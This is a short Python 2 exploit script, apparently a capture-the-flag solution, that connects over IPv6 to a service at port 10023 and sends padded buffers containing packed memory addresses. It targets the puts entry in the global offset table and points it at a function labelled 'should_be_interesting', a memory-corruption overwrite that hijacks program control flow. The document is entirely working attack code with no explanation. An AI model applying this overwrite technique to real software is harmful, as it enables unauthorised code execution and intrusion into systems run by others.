import socket
import struct
target_ip = "serv"
target_port = 10023
sk = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
sk.connect((target_ip, target_port))
buf = "A"*16
buf += "A"*4 # first part chunk
# puts@got.plt
buf += struct.pack("<I", 0x804a47c)
# should_be_interesting
buf2 = struct.pack("<I", 0x8048E06)
sk.send(buf)
print sk.recv(1024)
sk.send(buf2)
print sk.recv(4096)
sk.close()